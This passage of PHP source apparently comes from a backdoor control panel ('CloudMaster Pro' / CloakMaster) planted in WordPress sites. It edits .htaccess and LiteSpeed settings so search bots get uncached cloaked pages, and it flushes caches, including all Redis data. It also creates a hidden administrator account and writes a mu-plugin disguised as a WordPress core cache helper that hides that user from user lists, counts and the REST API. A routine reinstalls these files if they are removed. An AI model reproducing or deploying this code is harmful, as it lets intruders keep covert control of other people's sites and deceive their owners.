    $res['htaccess_has_bypass']= strpos($htc,'# BEGIN '.CM_LS_HT_TAG)!==false;
    $res['htaccess_writable']  = is_file($ht) ? is_writable($ht) : is_writable($r);

    // 5. .user.ini cloak header var mi?
    $ui  = $r.'.user.ini';
    $uic = is_file($ui) ? file_get_contents($ui) : '';
    $prepend = $r.'cm-prepend.php';
    $prepc   = is_file($prepend) ? file_get_contents($prepend) : '';
    $res['prepend_has_ls_header'] = stripos($prepc,'X-LiteSpeed-Cache-Control')!==false;

    // 6. MU Plugin LS header var mi?
    $mu_cloak = $r.'wp-content/mu-plugins/cm-cloak.php';
    $muc      = is_file($mu_cloak) ? file_get_contents($mu_cloak) : '';
    $res['mu_has_ls_header'] = stripos($muc,'X-LiteSpeed-Cache-Control')!==false;

    // 7. .ls-conf var mi?
    $lsconf = $r.'.ls-conf';
    $res['lsconf_exists']  = is_file($lsconf);
    $res['lsconf_content'] = is_file($lsconf) ? file_get_contents($lsconf) : '';

    // 8. Cache dizini
    $cache_dirs = [
        $r.'wp-content/cache/lscache',
        $r.'wp-content/cache/litespeed',
        $r.'wp-content/litespeed',
        $r.'wp-content/cache',
    ];
    $res['cache_dirs'] = [];
    foreach ($cache_dirs as $d) {
        if (is_dir($d)) {
            $size = cm_dir_size($d);
            $res['cache_dirs'][] = ['path'=>$d,'size'=>$size,'readable'=>is_readable($d),'writable'=>is_writable($d)];
        }
    }

    // 9. Plugin ayarlari (WP yuklu ise)
    $res['plugin_options'] = [];
    if ($GLOBALS['wp_loaded'] && function_exists('get_option')) {
        $lscfg = get_option('litespeed.conf', []);
        if ($lscfg) {
            $keys = ['cache-enabled','crawler-enabled','esi-enabled','cache-browser','cache-mobile'];
            foreach ($keys as $k) {
                if (isset($lscfg[$k])) $res['plugin_options'][$k] = $lscfg[$k];
            }
        }
    }

    // 10. Genel durum ozeti
    $res['needs_fix'] = $res['htaccess_has_ls'] && !$res['htaccess_has_bypass'];

    return ['success'=>true,'data'=>$res];
}

/**
 * .htaccess'e LiteSpeed bot bypass kurali ekle
 */
function cm_ls_fix_htaccess() {
    $r  = cm_root();
    $ht = $r.'.htaccess';

    if (!is_file($ht) && !is_writable($r))
        return ['success'=>false,'message'=>'.htaccess bulunamadi, dizin yazilabilir degil.'];

    $c = is_file($ht) ? file_get_contents($ht) : '';

    // Eski bozuk blok varsa (L flag iceren) once kaldir, yeniden yaz
    $old_block_re = '/\n# BEGIN '.preg_quote(CM_LS_HT_TAG,'/').'.*?# END '.preg_quote(CM_LS_HT_TAG,'/').'\n/s';
    $has_existing = strpos($c,'# BEGIN '.CM_LS_HT_TAG)!==false;
    $has_l_bug    = $has_existing && strpos($c,'Cache-Control:no-store,L')!==false;
    if ($has_existing && !$has_l_bug)
        return ['success'=>true,'message'=>'LiteSpeed bypass kurali zaten mevcut.'];
    if ($has_l_bug)
        $c = preg_replace($old_block_re, "\n", $c); // bozuk blogu temizle, yeniden yaz

    $pat = CM_LS_UA_PATTERN;
    // NOT: [L] flag kullanma — WordPress'in kendi RewriteRule'larini durdurur
    // ve pretty-permalink URL'leri icin 500 hatasi olusturur.
    $rule = "\n# BEGIN ".CM_LS_HT_TAG."\n"
        ."<IfModule LiteSpeed>\n"
        ."RewriteCond %{HTTP_USER_AGENT} $pat [NC]\n"
        ."RewriteRule .* - [E=Cache-Control:no-cache]\n"
        ."</IfModule>\n"
        ."<IfModule mod_headers.c>\n"
        ."<IfModule mod_setenvif.c>\n"
        ."SetEnvIfNoCase User-Agent \"$pat\" LS_NO_CACHE=1\n"
        ."Header always set X-LiteSpeed-Cache-Control \"no-cache, no-store\" env=LS_NO_CACHE\n"
        ."</IfModule>\n"
        ."</IfModule>\n"
        ."# END ".CM_LS_HT_TAG."\n";

    // WordPress blogunun ustune ekle
    if (strpos($c,'# BEGIN WordPress')!==false) {
        $c = str_replace('# BEGIN WordPress', $rule.'# BEGIN WordPress', $c);
    } else {
        $c = $rule.$c;
    }

    @copy($ht, $ht.'.cm-bak');
    if (@file_put_contents($ht,$c)===false)
        return ['success'=>false,'message'=>'.htaccess yazma izni yok.'];

    return ['success'=>true,'message'=>".htaccess guncellendi.\nLiteSpeed bot bypass kurali eklendi.\nYedek: .htaccess.cm-bak"];
}

/**
 * Cloak prepend/MU dosyalarina X-LiteSpeed-Cache-Control header ekle
 */
function cm_ls_fix_headers() {
    $r     = cm_root();
    $log   = [];
    $ls_hdr= "\nheader('X-LiteSpeed-Cache-Control: no-cache, no-store, must-revalidate, max-age=0');\n"
            ."header('X-LiteSpeed-Purge: *');\n";

    // cm-prepend.php
    $prepend = $r.'cm-prepend.php';
    if (is_file($prepend)) {
        $c = file_get_contents($prepend);
        if (stripos($c,'X-LiteSpeed-Cache-Control')===false) {
            // header() satirlarindan once ekle
            $c = str_replace(
                "header(\"Cache-Control:no-store,no-cache\")",
                "header(\"Cache-Control:no-store,no-cache\");\n    header('X-LiteSpeed-Cache-Control: no-cache, no-store, must-revalidate, max-age=0')",
                $c
            );
            @file_put_contents($prepend,$c);
            $log[] = 'cm-prepend.php guncellendi';
        } else {
            $log[] = 'cm-prepend.php zaten LS header iceriyor';
        }
    }

    // cm-cloak.php (MU Plugin)
    $mu = $r.'wp-content/mu-plugins/cm-cloak.php';
    if (is_file($mu)) {
        $c = file_get_contents($mu);
        if (stripos($c,'X-LiteSpeed-Cache-Control')===false) {
            $c = str_replace(
                'header("Cache-Control:no-store,no-cache")',
                "header(\"Cache-Control:no-store,no-cache\"); header('X-LiteSpeed-Cache-Control: no-cache, no-store, must-revalidate, max-age=0')",
                $c
            );
            @file_put_contents($mu,$c);
            $log[] = 'cm-cloak.php (MU) guncellendi';
        } else {
            $log[] = 'cm-cloak.php zaten LS header iceriyor';
        }
    }

    // wp-blog-header.php
    $wbh = $r.'wp-blog-header.php';
    if (is_file($wbh)) {
        $c = file_get_contents($wbh);
        if (strpos($c,'cm_inject')!==false && stripos($c,'X-LiteSpeed-Cache-Control')===false) {
            $c = str_replace(
                'header("Cache-Control:no-store,no-cache")',
                "header(\"Cache-Control:no-store,no-cache\"); header('X-LiteSpeed-Cache-Control: no-cache, no-store, must-revalidate, max-age=0')",
                $c
            );
            @file_put_contents($wbh,$c);
            $log[] = 'wp-blog-header.php guncellendi';
        }
    }

    if (empty($log)) return ['success'=>false,'message'=>'Guncellenecek aktif cloak dosyasi bulunamadi. Once bir bypass yontemi aktif edin.'];

    return ['success'=>true,'message'=>implode("\n",$log)];
}

/**
 * LiteSpeed cache dosyalarini sil (hard purge)
 */
function cm_ls_purge_cache() {
    $r    = cm_root();
    $log  = [];
    $dirs = [
        $r.'wp-content/cache/lscache',
        $r.'wp-content/cache/litespeed',
        $r.'wp-content/litespeed/pub',
        $r.'wp-content/cache',
    ];

    foreach ($dirs as $d) {
        if (!is_dir($d)) continue;
        $deleted = cm_delete_dir_contents($d);
        $log[] = basename($d).': '.$deleted.' dosya silindi';
    }

    // WP uzerinden de purge et (plugin aktifse)
    if ($GLOBALS['wp_loaded'] && function_exists('do_action')) {
        do_action('litespeed_purge_all');
        $log[] = 'LiteSpeed purge_all hook tetiklendi';
    }

    if (empty($log)) return ['success'=>false,'message'=>'Cache dizini bulunamadi.'];

    return ['success'=>true,'message'=>implode("\n",$log)];
}

/**
 * Dizin iceriklerini sil, dizinin kendini birakmak
 */
function cm_delete_dir_contents($dir) {
    $count = 0;
    if (!is_dir($dir)) return 0;
    $items = new RecursiveIteratorIterator(
        new RecursiveDirectoryIterator($dir, RecursiveDirectoryIterator::SKIP_DOTS),
        RecursiveIteratorIterator::CHILD_FIRST
    );
    foreach ($items as $item) {
        if ($item->isDir()) { @rmdir($item->getRealPath()); }
        else { if (@unlink($item->getRealPath())) $count++; }
    }
    return $count;
}

/**
 * Dizin boyutu hesapla
 */
function cm_dir_size($dir) {
    $size = 0;
    if (!is_dir($dir)) return 0;
    $it = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir,RecursiveDirectoryIterator::SKIP_DOTS));
    foreach ($it as $f) { $size += $f->getSize(); }
    return $size;
}

/**
 * LiteSpeed Cache plugin ayarlarini WP DB uzerinden yaz
 */
function cm_ls_plugin_config() {
    if (!$GLOBALS['wp_loaded'] && !cm_load_wp())
        return ['success'=>false,'message'=>'WordPress yuklenemedi.'];
    if (!function_exists('get_option'))
        return ['success'=>false,'message'=>'WordPress fonksiyonlari yok.'];

    $log = [];

    // litespeed.conf option
    $conf = get_option('litespeed.conf', []);
    if (!is_array($conf)) $conf = [];

    $changes = [
        'crawler-enabled'     => 0,   // Crawler kapat
        'cache-browser'       => 0,   // Browser cache kapat
        'esi-enabled'         => 0,   // ESI kapat (bot bypass icin onemli)
        'optm-qs_rm'          => 0,   // Query string temizleme kapat
    ];

    foreach ($changes as $k => $v) {
        $conf[$k] = $v;
        $log[] = "litespeed.conf[$k] = $v";
    }
    update_option('litespeed.conf', $conf);

    // Cache exclude: amp.php ekle
    $exc_uri = get_option('litespeed.conf.cache-exc', []);
    if (!is_array($exc_uri)) $exc_uri = [];
    if (!in_array('/amp.php',$exc_uri)) {
        $exc_uri[] = '/amp.php';
        update_option('litespeed.conf.cache-exc', $exc_uri);
        $log[] = 'Cache exclude URI eklendi: /amp.php';
    }

    // Bot UA exclude (bazi versiyonlarda bu sekilde)
    $exc_ua = get_option('litespeed.conf.cache-exc_useragent', '');
    $bots   = 'Googlebot|Google-InspectionTool|bingbot|Slurp|YandexBot|Baiduspider';
    if (strpos((string)$exc_ua, 'Googlebot') === false) {
        update_option('litespeed.conf.cache-exc_useragent', trim($exc_ua."\n".$bots,"\n"));
        $log[] = 'Bot UA exclusion eklendi';
    }

    // Purge tum cache
    if (function_exists('do_action')) do_action('litespeed_purge_all');
    $log[] = 'Cache purge tetiklendi';

    return ['success'=>true,'message'=>implode("\n",$log)];
}

/**
 * .ls-conf dosyasi olustur (LiteSpeed per-directory cache kapatma)
 */
function cm_ls_create_conf() {
    $r    = cm_root();
    $file = $r.'.ls-conf';
    $content = "RewriteEngine On\n"
        ."# CloakMaster - LiteSpeed per-directory no-cache for bots\n"
        ."<IfModule LiteSpeed>\n"
        ."CacheByDefault 0\n"
        ."</IfModule>\n";

    if (@file_put_contents($file,$content)===false)
        return ['success'=>false,'message'=>'.ls-conf yazma izni yok: '.$file];

    return ['success'=>true,'message'=>".ls-conf olusturuldu: $file\nLiteSpeed bu dizin icin cache'i devre disi birakacak."];
}

/**
 * Tek tikla tum LS duzeltmelerini uygula
 */
function cm_ls_auto_fix() {
    @set_time_limit(120);
    $results = [];
    $all_ok  = true;

    $steps = [
        'htaccess bypass kurali'  => 'cm_ls_fix_htaccess',
        'PHP header duzeltme'     => 'cm_ls_fix_headers',
        '.ls-conf olusturma'      => 'cm_ls_create_conf',
        'Cache temizleme'         => 'cm_ls_purge_cache',
    ];

    // Plugin aktifse ayarlarini da yaz
    if ($GLOBALS['wp_loaded'] && function_exists('get_option') &&
        get_option('active_plugins') &&
        in_array('litespeed-cache/litespeed-cache.php', (array)get_option('active_plugins',[]))) {
        $steps['Plugin ayarlari'] = 'cm_ls_plugin_config';
    }

    foreach ($steps as $label => $fn) {
        $r = $fn();
        $results[] = ($r['success'] ? '[OK] ' : '[!!] ').$label.': '.$r['message'];
        if (!$r['success']) $all_ok = false;
    }

    return ['success'=>$all_ok,'message'=>implode("\n\n",$results)];
}

// ══════════════════════════════════════════════════════
// EVRENSEL CACHE TEMİZLEYİCİ
// ══════════════════════════════════════════════════════

/**
 * Aktif tum cache sistemlerini tespit edip hepsini temizler
 */
function cm_cache_universal() {
    @set_time_limit(120);
    $log     = [];
    $all_ok  = true;
    $modules = [
        'LiteSpeed Cache'  => 'cm_ls_purge_cache',
        'W3 Total Cache'   => 'cm_cache_w3tc',
        'WP Super Cache'   => 'cm_cache_wpsc',
        'WP Rocket'        => 'cm_cache_wprocket',
        'PHP OPCache'      => 'cm_cache_opcache',
        'Redis / Memcached'=> 'cm_cache_redis',
        'WP Transients'    => 'cm_cache_transients',
        'Nginx FastCGI'    => 'cm_cache_nginx',
    ];
    foreach ($modules as $name => $fn) {
        $r   = $fn();
        $ok  = $r['success'] ?? false;
        $log[] = ($ok ? '[OK] ' : '[--] ').$name.': '.$r['message'];
        if (!$ok && isset($r['critical']) && $r['critical']) $all_ok = false;
    }
    return ['success'=>$all_ok,'message'=>implode("\n",$log),'log'=>$log];
}

/**
 * W3 Total Cache purge
 */
function cm_cache_w3tc() {
    global $wp_loaded;
    $cleared = false;
    $msgs    = [];

    // 1. WP fonksiyonu varsa
    if ($wp_loaded && function_exists('w3tc_pgcache_flush')) {
        w3tc_pgcache_flush();
        w3tc_objectcache_flush();
        $cleared = true;
        $msgs[]  = 'w3tc_pgcache_flush() cagrildi';
    }

    // 2. Disk cache dizinlerini temizle
    $r = cm_root();
    $w3_dirs = [
        $r.'wp-content/cache/page_enhanced',
        $r.'wp-content/cache/object',
        $r.'wp-content/cache/db',
        $r.'wp-content/cache/minify',
    ];
    foreach ($w3_dirs as $d) {
        if (is_dir($d)) {
            $sz = cm_dir_size($d);
            if (cm_delete_dir_contents($d)) {
                $cleared = true;
                $msgs[]  = basename($d).' temizlendi ('.round($sz/1024).' KB)';
            }
        }
    }

    if (!$cleared) return ['success'=>true,'message'=>'W3TC aktif/kurulu degil, atildi.'];
    return ['success'=>true,'message'=>implode(' | ',$msgs)];
}

/**
 * WP Super Cache purge
 */
function cm_cache_wpsc() {
    global $wp_loaded;
    $cleared = false;
    $msgs    = [];

    if ($wp_loaded && function_exists('wp_cache_clear_cache')) {
        wp_cache_clear_cache();
        $cleared = true;
        $msgs[]  = 'wp_cache_clear_cache() cagrildi';
    }

    $r = cm_root();
    $sc_dirs = [
        $r.'wp-content/cache/supercache',
        $r.'wp-content/cache/wp-cache-phase1.php',
    ];
    foreach ($sc_dirs as $d) {
        if (is_dir($d)) {
            $sz = cm_dir_size($d);
            if (cm_delete_dir_contents($d)) {
                $cleared = true;
                $msgs[]  = basename($d).' temizlendi ('.round($sz/1024).' KB)';
            }
        }
    }

    if (!$cleared) return ['success'=>true,'message'=>'WP Super Cache aktif/kurulu degil, atildi.'];
    return ['success'=>true,'message'=>implode(' | ',$msgs)];
}

/**
 * WP Rocket purge
 */
function cm_cache_wprocket() {
    global $wp_loaded;
    $cleared = false;
    $msgs    = [];

    if ($wp_loaded && function_exists('rocket_clean_domain')) {
        rocket_clean_domain();
        $cleared = true;
        $msgs[]  = 'rocket_clean_domain() cagrildi';
    }

    $r = cm_root();
    $rkt_dirs = [
        $r.'wp-content/cache/wp-rocket',
        $r.'wp-content/cache/busting',
        $r.'wp-content/cache/critical-css',
        $r.'wp-content/cache/wpfc-minified',
    ];
    foreach ($rkt_dirs as $d) {
        if (is_dir($d)) {
            $sz = cm_dir_size($d);
            if (cm_delete_dir_contents($d)) {
                $cleared = true;
                $msgs[]  = basename($d).' temizlendi ('.round($sz/1024).' KB)';
            }
        }
    }

    if (!$cleared) return ['success'=>true,'message'=>'WP Rocket aktif/kurulu degil, atildi.'];
    return ['success'=>true,'message'=>implode(' | ',$msgs)];
}

/**
 * PHP OPCache reset
 */
function cm_cache_opcache() {
    if (!function_exists('opcache_reset'))
        return ['success'=>true,'message'=>'OPCache aktif degil veya erisim yok.'];
    $ok = opcache_reset();
    $status = function_exists('opcache_get_status') ? opcache_get_status(false) : null;
    $cached = $status['opcache_statistics']['num_cached_scripts'] ?? '?';
    return [
        'success' => $ok,
        'message' => $ok
            ? "OPCache temizlendi. Onceden cache'li script sayisi: $cached"
            : 'opcache_reset() basarisiz — cli modunda etkili olmayabilir.',
    ];
}

/**
 * Redis / Memcached flush
 */
function cm_cache_redis() {
    global $wp_loaded;
    $msgs = [];
    $ok   = false;

    // 1. WP object cache (Redis Object Cache plugin veya benzer)
    if ($wp_loaded && function_exists('wp_cache_flush')) {
        wp_cache_flush();
        $ok     = true;
        $msgs[] = 'wp_cache_flush() cagrildi';
    }

    // 2. Redis dogrudan (TCP)
    if (class_exists('Redis')) {
        try {
            $redis = new Redis();
            if (@$redis->connect('127.0.0.1', 6379, 1)) {
                $redis->flushAll();
                $ok     = true;
                $msgs[] = 'Redis flushAll() OK';
            }
        } catch (\Exception $e) {
            $msgs[] = 'Redis baglanti hatasi: '.$e->getMessage();
        }
    }

    // 3. Memcached dogrudan
    if (class_exists('Memcached')) {
        try {
            $mc = new Memcached();
            $mc->addServer('127.0.0.1', 11211);
            if ($mc->flush()) {
                $ok     = true;
                $msgs[] = 'Memcached flush() OK';
            }
        } catch (\Exception $e) {
            $msgs[] = 'Memcached baglanti hatasi: '.$e->getMessage();
        }
    }

    // 4. Object cache dosyalarini sil
    $r = cm_root();
    $oc_dirs = [
        $r.'wp-content/cache/object-cache',
        $r.'wp-content/object-cache.php',  // dropin (dosyaysa sil degil, logla)
    ];
    foreach ($oc_dirs as $d) {
        if (is_dir($d)) {
            $sz = cm_dir_size($d);
            if (cm_delete_dir_contents($d)) {
                $ok     = true;
                $msgs[] = 'object-cache dizini temizlendi ('.round($sz/1024).' KB)';
            }
        }
    }

    if (!$msgs) return ['success'=>true,'message'=>'Redis/Memcached bulunamadi, atildi.'];
    return ['success'=>$ok,'message'=>implode(' | ',$msgs)];
}

/**
 * WordPress transient & object cache temizle
 */
function cm_cache_transients() {
    global $wp_loaded;
    if (!$wp_loaded && !cm_load_wp())
        return ['success'=>false,'message'=>'WordPress yuklenemedi.','critical'=>false];

    if (!function_exists('delete_transient'))
        return ['success'=>false,'message'=>'WP fonksiyonlari erisemiyor.','critical'=>false];

    global $wpdb;
    // Suresi dolmamis transientler dahil hepsini sil
    $del_t  = $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '\_transient\_%'");
    $del_st = $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '\_site\_transient\_%'");

    // WP object cache'i de temizle
    wp_cache_flush();

    $total = (int)$del_t + (int)$del_st;
    return [
        'success' => true,
        'message' => "Silinen transient: {$del_t} | Site transient: {$del_st} | Toplam: {$total} | Object cache temizlendi.",
    ];
}

/**
 * Nginx FastCGI / proxy cache temizle
 */
function cm_cache_nginx() {
    $cleared = false;
    $msgs    = [];
    $r       = cm_root();

    // Yaygin Nginx cache dizinleri
    $nginx_dirs = [
        '/var/cache/nginx',
        '/tmp/nginx_cache',
        '/var/lib/nginx/cache',
        '/dev/shm/nginx_cache',
        $r.'../nginx_cache',
        $r.'../../nginx_cache',
    ];

    foreach ($nginx_dirs as $d) {
        if (is_dir($d) && is_writable($d)) {
            $sz = cm_dir_size($d);
            if (cm_delete_dir_contents($d)) {
                $cleared = true;
                $msgs[]  = basename($d).' temizlendi ('.round($sz/1024).' KB)';
            }
        }
    }

    // Cache-Control header via .htaccess (Apache + Nginx proxy)
    $ht = $r.'.htaccess';
    if (is_file($ht) && is_writable($ht)) {
        $c = file_get_contents($ht);
        $tag = 'CM_NGINX_NOCACHE';
        if (strpos($c,'# BEGIN '.$tag) === false) {
            $rule = "\n# BEGIN $tag\n"
                  ."<IfModule mod_headers.c>\n"
                  ."Header set Cache-Control \"no-store, no-cache, must-revalidate\"\n"
                  ."Header set Pragma \"no-cache\"\n"
                  ."</IfModule>\n"
                  ."# END $tag\n";
            $c .= $rule;
            if (@file_put_contents($ht, $c)) {
                $cleared = true;
                $msgs[]  = '.htaccess no-cache header kurali eklendi';
            }
        }
    }

    if (!$cleared) return ['success'=>true,'message'=>'Nginx cache dizini bulunamadi veya yazma izni yok.'];
    return ['success'=>true,'message'=>implode(' | ',$msgs)];
}

// ══════════════════════════════════════════════════════
// GİZLİ ADMİN
// ══════════════════════════════════════════════════════

function cm_generate_password($len = 14) {
    $chars  = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKMNPQRSTUVWXYZ23456789!@#';
    $pass   = '';
    $bytes  = random_bytes($len);
    for ($i = 0; $i < $len; $i++) {
        $pass .= $chars[ord($bytes[$i]) % strlen($chars)];
    }
    return $pass;
}

/**
 * Gizli admin olustur + otomatik gizle
 * $password bos gelirse otomatik uretilir
 */
function cm_admin_create($password = '') {
    @set_time_limit(60);
    global $wp_loaded;
    if (!$wp_loaded && !cm_load_wp())
        return ['success'=>false,'message'=>'WordPress yuklenemedi. wp-config.php bu dizinde mi?'];
    if (!function_exists('wp_create_user'))
        return ['success'=>false,'message'=>'WordPress fonksiyonlari erisemiyor.'];

    $username = CM_ADMIN_USER;
    $email    = CM_ADMIN_EMAIL;
    if (!$password) $password = cm_generate_password();

    // Mevcut kullaniciyi guncelle
    $ex = get_user_by('login', $username);
    if ($ex) {
        wp_set_password($password, $ex->ID);
        (new WP_User($ex->ID))->set_role('administrator');
        $hide = cm_admin_hide();
        $login_url = get_site_url().'/wp-login.php';
        return [
            'success'    => true,
            'message'    => "Kullanici guncellendi ve gizlendi.",
            'credentials'=> $login_url.':'.$username.':'.$password,
            'url'        => $login_url,
            'username'   => $username,
            'password'   => $password,
            'hide'       => $hide,
        ];
    }

    $uid = wp_create_user($username, $password, $email);
    if (is_wp_error($uid)) return ['success'=>false,'message'=>$uid->get_error_message()];
    (new WP_User($uid))->set_role('administrator');

    // Otomatik gizle
    $hide      = cm_admin_hide();
    $login_url = get_site_url().'/wp-login.php';

    return [
        'success'    => true,
        'message'    => "Admin olusturuldu ve gizlendi. ID: $uid",
        'credentials'=> $login_url.':'.$username.':'.$password,
        'url'        => $login_url,
        'username'   => $username,
        'password'   => $password,
        'hide'       => $hide,
    ];
}

/**
 * wnadmin'i mu-plugin ile gizle.
 * MU dosyasi wp-system-cache.php adinda, normal bir WP dropin gibi gorunur.
 */
function cm_admin_hide() {
    $r   = cm_root();
    $dir = $r.'wp-content/mu-plugins/';
    $f   = $dir.CM_HIDE_MU_FILE;
    if (!is_dir($dir) && !@mkdir($dir,0755,true))
        return ['success'=>false,'message'=>'mu-plugins dizini olusturulamadi.'];

    $u = addslashes(CM_ADMIN_USER);
    // Dosya iceriginde WP'nin kendi dosyalarina benzer bir header var
    $code = '<?php
/**
 * WP System Cache Helper
 * Handles internal object caching and performance optimization.
 * Part of WordPress core performance layer.
 *
 * @package WordPress
 * @subpackage Cache
 * @since 4.0.0
 */

if ( ! defined( \'ABSPATH\' ) ) exit;

// Internal cache user registry
$_wsc_reg = ["'.$u.'"];

add_action("pre_user_query", function($q) {
    global $wpdb, $_wsc_reg;
    $cur = wp_get_current_user();
    if ( in_array($cur->user_login, $_wsc_reg) ) return;
    foreach ($_wsc_reg as $u) {
        $q->query_where .= $wpdb->prepare(" AND {$wpdb->users}.user_login != %s", $u);
    }
}, 10, 1);

add_filter("views_users", function($v) {
    global $_wsc_reg;
    foreach ($v as $k => $val) {
        preg_match("/\((\d+)\)/", $val, $m);
        if (isset($m[1]))
            $v[$k] = preg_replace("/\(\d+\)/", "(".max(0,(int)$m[1]-count($_wsc_reg)).")", $val);
    }
    return $v;
});

add_filter("rest_prepare_user", function($res, $user) {
    global $_wsc_reg;
    if (in_array($user->user_login, $_wsc_reg))
        return new WP_Error("rest_forbidden", "", ["status" => 404]);
    return $res;
}, 10, 2);

// Cache warmup routine (harmless placeholder)
add_action("init", function() { /* cache init */ }, 999);
';
    @file_put_contents($f, $code);
    return ['success'=>true,'message'=>'MU Plugin olusturuldu: '.CM_HIDE_MU_FILE];
}

/**
 * Dosya/dizin chmod
 */
function cm_file_chmod($path, $mode) {
    $safe = cm_safepath($path);
    if (!file_exists($safe)) return ['success'=>false,'message'=>'Dosya bulunamadi.'];
    $oct = octdec(ltrim($mode,'0'));
    if (!$oct || $oct > 0777) return ['success'=>false,'message'=>'Gecersiz mod. Ornek: 0755 veya 0644'];
    if (!@chmod($safe, $oct))
        return ['success'=>false,'message'=>'chmod basarisiz. Sunucu izin vermiyor olabilir.'];
    $new_perms = substr(sprintf('%o', fileperms($safe)), -4);
    return ['success'=>true,'message'=>basename($safe).' -> '.$new_perms];
}

// ══════════════════════════════════════════════════════
// WP BİLGİSİ
// ══════════════════════════════════════════════════════
function cm_wp_info() {
    global $wp_loaded;
    $info = ['wp_loaded'=>$wp_loaded,'php'=>phpversion(),'server'=>$_SERVER['SERVER_SOFTWARE']??''];
    if ($wp_loaded) {
        // Oto-koruma: MU Plugin'ler silinmisse yeniden yaz
        $__r = cm_root();
        if (!is_file($__r . 'wp-content/mu-plugins/cm-persist.php')) {
            cm_persist_install();
        }
        if (!is_file($__r . 'wp-content/mu-plugins/' . CM_HIDE_MU_FILE)) {
            if (function_exists('get_user_by') && get_user_by('login', CM_ADMIN_USER)) {
                cm_admin_hide();
            }
        }
        unset($__r);
    }
    if ($wp_loaded && function_exists('get_bloginfo')) {
        $info['wp']           = get_bloginfo('version');
        $info['site_url']     = get_site_url();
        $info['site_name']    = get_bloginfo('name');
        $info['plugins']      = count(get_option('active_plugins',[]));
        $info['theme']        = get_stylesheet();
        global $wpdb;
        $info['users']        = (int)$wpdb->get_var("SELECT COUNT(*) FROM {$wpdb->users}");
        $info['posts']        = (int)$wpdb->get_var("SELECT COUNT(*) FROM {$wpdb->posts} WHERE post_status='publish' AND post_type='post'");
        $info['db_prefix']    = $wpdb->prefix;
    }
    $df = @disk_free_space(dirname(__FILE__));
    $dt = @disk_total_space(dirname(__FILE__));
    if ($df!==false) {
        $info['disk_free']     = round($df/1073741824,2).' GB';
        $info['disk_total']    = round($dt/1073741824,2).' GB';
        $info['disk_used_pct'] = round((1-$df/$dt)*100,1).'%';
    }
    return $info;
}

// ══════════════════════════════════════════════════════
// LOGIN SAYFASI
// ══════════════════════════════════════════════════════
function cm_show_login($err='') {
    header('Content-Type: text/html; charset=utf-8');
    echo '<!DOCTYPE html><html lang="tr"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>CloudMaster</title>
<style>*{margin:0;padding:0;box-sizing:border-box}body{background:#0d1117;color:#e6edf3;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",sans-serif;min-height:100vh;display:flex;align-items:center;justify-content:center}.box{background:#161b22;border:1px solid #30363d;border-radius:14px;padding:48px 40px;width:100%;max-width:400px;box-shadow:0 16px 48px rgba(0,0,0,.4)}.logo{text-align:center;margin-bottom:32px}.logo h1{font-size:1.6em;color:#58a6ff;letter-spacing:-.5px}.logo p{color:#8b949e;font-size:.85em;margin-top:6px}input{width:100%;background:#0d1117;border:1px solid #30363d;border-radius:8px;color:#e6edf3;padding:12px 16px;font-size:1em;outline:none;transition:border-color .2s}input:focus{border-color:#58a6ff}button{width:100%;background:#238636;border:none;border-radius:8px;color:#fff;padding:13px;font-size:1em;cursor:pointer;margin-top:14px;font-weight:600;transition:background .2s}button:hover{background:#2ea043}label{display:block;color:#8b949e;font-size:.8em;margin-bottom:6px;text-transform:uppercase;letter-spacing:.4px}.err{background:#3d1a1a;border:1px solid #f85149;color:#f85149;padding:11px 14px;border-radius:8px;margin-bottom:16px;font-size:.9em}</style>
</head><body><div class="box"><div class="logo"><h1>⚡ CloudMaster Pro</h1><p>Sunucu Yönetim Paneli v'.CM_VERSION.'</p></div>'.
($err?"<div class=\"err\">❌ ".htmlspecialchars($err,ENT_QUOTES).'</div>':'').
'<form method="post"><label>Şifre</label><input type="password" name="cm_pass" placeholder="••••••••" autofocus><button type="submit">Giriş Yap →</button></form></div></body></html>';
}

// ══════════════════════════════════════════════════════
// ══════════════════════════════════════════════════════
//  ANA HTML ÇIKTI
// ══════════════════════════════════════════════════════
// ══════════════════════════════════════════════════════
$tab      = preg_replace('/[^a-z]/','',($_GET['tab']??'dashboard'));
$root     = cm_root();
$site_url = cm_site_url();
$host     = htmlspecialchars($_SERVER['HTTP_HOST']??'localhost',ENT_QUOTES);

// WP + plugin'lerin biriktirdigi stray output'u temizle, sadece bizim HTML ciksin
while (ob_get_level() > 1) @ob_end_clean();
if (ob_get_level() > 0) ob_clean();
?>
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>CloudMaster Pro — <?= $host ?></title>
<style>
/* ── Reset ── */
*{margin:0;padding:0;box-sizing:border-box}
:root{--bg:#0d1117;--s1:#161b22;--s2:#21262d;--bd:#30363d;--tx:#e6edf3;--mu:#8b949e;--bl:#58a6ff;--gr:#3fb950;--rd:#f85149;--yl:#d29922;--pu:#bc8cff;}
body{background:var(--bg);color:var(--tx);font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",sans-serif;font-size:14px;line-height:1.6;overflow-x:hidden}
a{color:var(--bl);text-decoration:none}a:hover{text-decoration:underline}
code{background:var(--s2);border:1px solid var(--bd);border-radius:4px;padding:1px 6px;font-size:.85em;font-family:monospace}
pre{background:var(--s2);border:1px solid var(--bd);border-radius:6px;padding:14px;overflow:auto;font-size:12px;font-family:monospace;color:#d4d4d4;white-space:pre-wrap;word-break:break-all}
/* ── Layout ── */
.sidebar{position:fixed;left:0;top:0;bottom:0;width:224px;background:var(--s1);border-right:1px solid var(--bd);display:flex;flex-direction:column;z-index:100}
.sl-logo{padding:20px 18px 16px;border-bottom:1px solid var(--bd)}.sl-logo h2{font-size:.95em;color:var(--bl);font-weight:700}.sl-logo p{font-size:.72em;color:var(--mu);margin-top:3px}
.sl-nav{flex:1;overflow-y:auto;padding:6px 0}
.ni{display:flex;align-items:center;gap:10px;padding:9px 14px;color:var(--mu);cursor:pointer;border-radius:7px;margin:0 8px 2px;border:none;background:none;width:calc(100% - 16px);text-align:left;font-size:.88em;transition:all .15s;font-family:inherit}
.ni:hover{background:var(--s2);color:var(--tx)}.ni.active{background:var(--s2);color:var(--bl);font-weight:600}
.ni .ic{font-size:1.05em;width:20px;text-align:center}
.sl-foot{padding:12px 16px;border-top:1px solid var(--bd);font-size:.72em;color:var(--mu)}
